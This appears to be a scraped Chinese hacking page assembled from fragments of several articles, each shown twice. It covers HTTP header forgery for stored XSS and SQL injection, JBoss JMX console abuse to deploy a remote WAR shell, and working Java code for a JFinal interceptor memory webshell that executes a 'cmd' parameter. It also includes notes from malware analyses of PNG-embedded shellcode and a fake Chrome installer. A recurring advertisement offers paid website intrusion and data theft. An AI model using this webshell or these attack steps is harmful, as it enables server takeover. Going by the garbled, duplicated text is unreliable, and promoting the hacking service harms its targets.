请求头信息伪造XSS
关于伪造问题我是这样理解的:发送Http请求是客户端的主动行为,服务器端通过ServerSocket监听并按照Http协议去解析客户端的请求行为。
所以请求头当中的信息可能并不一定遵循标准Http协议。
用FireFox的Tamper Data和Moify Headers(FireFox扩展中心搜Headers和Tamper Data都能找到) 插件修改下就实现了,请先安装FireFox和Tamper Data:
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。选择Tamper
使用Moify Headers自定义的修改Headers
修改请求头的作用是在某些业务逻辑下程序猿需要去记录用户的请求头信息到数据库,而通过伪造的请求头一旦到了数据库可能造成xss,或者在未到数据库的时候就造成了SQL注入,因为对于程序员来说,大多数人认为一般从Headers里面取出来的数据是安全可靠的,可以放心的拼SQL(记得好像Discuz有这样一个漏洞)。今年一月份的时候我发现xss.tw也有一个这样的经典案例,Wdot那哥们在记录用户的请求头信息的时候没有去转意特殊的脚本,导致我们通过伪造的请求头直接存储到数据库。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
关于伪造问题我是这样理解的:发送Http请求是客户端的主动行为,服务器端通过ServerSocket监听并按照Http协议去解析客户端的请求行为。
所以请求头当中的信息可能并不一定遵循标准Http协议。
用FireFox的Tamper Data和Moify Headers(FireFox扩展中心搜Headers和Tamper Data都能找到) 插件修改下就实现了,请先安装FireFox和Tamper Data:
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。选择Tamper
使用Moify Headers自定义的修改Headers
修改请求头的作用是在某些业务逻辑下程序猿需要去记录用户的请求头信息到数据库,而通过伪造的请求头一旦到了数据库可能造成xss,或者在未到数据库的时候就造成了SQL注入,因为对于程序员来说,大多数人认为一般从Headers里面取出来的数据是安全可靠的,可以放心的拼SQL(记得好像Discuz有这样一个漏洞)。今年一月份的时候我发现xss.tw也有一个这样的经典案例,Wdot那哥们在记录用户的请求头信息的时候没有去转意特殊的脚本,导致我们通过伪造的请求头直接存储到数据库。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JBoss安全问题
JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。
它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。
因为这个软件是高度模块化和松耦合的,导致了它很很复杂,同时也使它易成为攻击者的目标。
本文从攻击者的角度来看,指出JBoss应用服务器存在的潜在风险,并结合例子如何实现如何在JBoss应用服务器上执行任意代码。
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。
分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。
它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。
因为这个软件是高度模块化和松耦合的,导致了它很很复杂,同时也使它易成为攻击者的目标。
本文从攻击者的角度来看,指出JBoss应用服务器存在的潜在风险,并结合例子如何实现如何在JBoss应用服务器上执行任意代码。
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。
分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
MBean的属性
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装
MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装
MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
interceptor内存木马
刚才通过分析,应用会执行到com.jfinal.core.ActionHandler#handle,接着分析handle的执行流程,发现88行执行了,跟进com.jfinal.aop.Invocation#invoke:
import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.Controller;
import java.io.IOException;
public class ShellInterceptor implements Interceptor {
Override
public void intercept(Invocation invocation) {
Controller controller = invocation.getController();
if (controller.getPara("cmd") != null) {
try {
Runtime.getRuntime().exec(controller.getPara("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
invocation.invoke();
}
}
发现这里是调用了interceptors中interceptor.intercept
那么可以尝试针对指定路由构造interceptor内存马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
刚才通过分析,应用会执行到com.jfinal.core.ActionHandler#handle,接着分析handle的执行流程,发现88行执行了,跟进com.jfinal.aop.Invocation#invoke:
import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.Controller;
import java.io.IOException;
public class ShellInterceptor implements Interceptor {
Override
public void intercept(Invocation invocation) {
Controller controller = invocation.getController();
if (controller.getPara("cmd") != null) {
try {
Runtime.getRuntime().exec(controller.getPara("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
invocation.invoke();
}
}
发现这里是调用了interceptors中interceptor.intercept
那么可以尝试针对指定路由构造interceptor内存马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Demo3Handler、Demo2Handler、DemoHandler是自定义的三个handler,在web配置中定义,调用完这三个,紧接着调用ActionHandler,这都是Handler的实现类
实际上这里是
com.jfinal.core.JFinalFilter#doFilter中调用了
this.handler.handle(target, request, response, isHandled);
而this.handler中存储了第一个Handler,就是DemoHandler,其中next属性值又为第二个Demo2Handler,这样循环调用到ActionHandler,接着看com.jfinal.core.ActionHandler#handle,在59行断点,重新执行
通过com.jfinal.core.ActionHandler#getAction获取action,根据路由/hello,而这个getAction就是从actionMapping中取值
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
实际上这里是
com.jfinal.core.JFinalFilter#doFilter中调用了
this.handler.handle(target, request, response, isHandled);
而this.handler中存储了第一个Handler,就是DemoHandler,其中next属性值又为第二个Demo2Handler,这样循环调用到ActionHandler,接着看com.jfinal.core.ActionHandler#handle,在59行断点,重新执行
通过com.jfinal.core.ActionHandler#getAction获取action,根据路由/hello,而这个getAction就是从actionMapping中取值
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过分析aut.png图像中ShellCode代码功能与上面view.png图像中ShellCode代码功能一致,但解密出来的PayLoad不一样,通过分析该PayLoad引用了一个注入工具的代码,并会将ShellCode代码注入到explore.exe进程当中
两个PNG图像中包含的ShellCode代码,先看view.png中的ShellCode代码,分配相应的内存空间
注入的ShellCode代码与上面的两个ShellCode代码的逻辑一致,分配相应的内存空间,然后将加密的数据拷贝到内存空间当中
最终解密出来的PayLoad,查询相关注册表项,设置快捷方式等
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
两个PNG图像中包含的ShellCode代码,先看view.png中的ShellCode代码,分配相应的内存空间
注入的ShellCode代码与上面的两个ShellCode代码的逻辑一致,分配相应的内存空间,然后将加密的数据拷贝到内存空间当中
最终解密出来的PayLoad,查询相关注册表项,设置快捷方式等
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
伪装成Chrome安装程序传播银狐最新变种
1.初始样本伪装成Chrome的MSI安装程序
2.解析MSI安装程序
3.CustomAction安装脚本,调用恶意模块的导出函数exitzi
4.MSI解压缩之后,包含恶意模块
5.恶意模块带有无效数字签名,数字签名信息
6.恶意模块使用了“增肥”技术,大小为二百多M,在DATA段中加入了大量的垃圾数据
7.恶意模块的导出函数exitzi
8.在指定的目录生成压缩包文件
9.生成的压缩包
10.通过遍历进程等信息反虚拟机操作,然后通过密码解压缩文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
1.初始样本伪装成Chrome的MSI安装程序
2.解析MSI安装程序
3.CustomAction安装脚本,调用恶意模块的导出函数exitzi
4.MSI解压缩之后,包含恶意模块
5.恶意模块带有无效数字签名,数字签名信息
6.恶意模块使用了“增肥”技术,大小为二百多M,在DATA段中加入了大量的垃圾数据
7.恶意模块的导出函数exitzi
8.在指定的目录生成压缩包文件
9.生成的压缩包
10.通过遍历进程等信息反虚拟机操作,然后通过密码解压缩文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke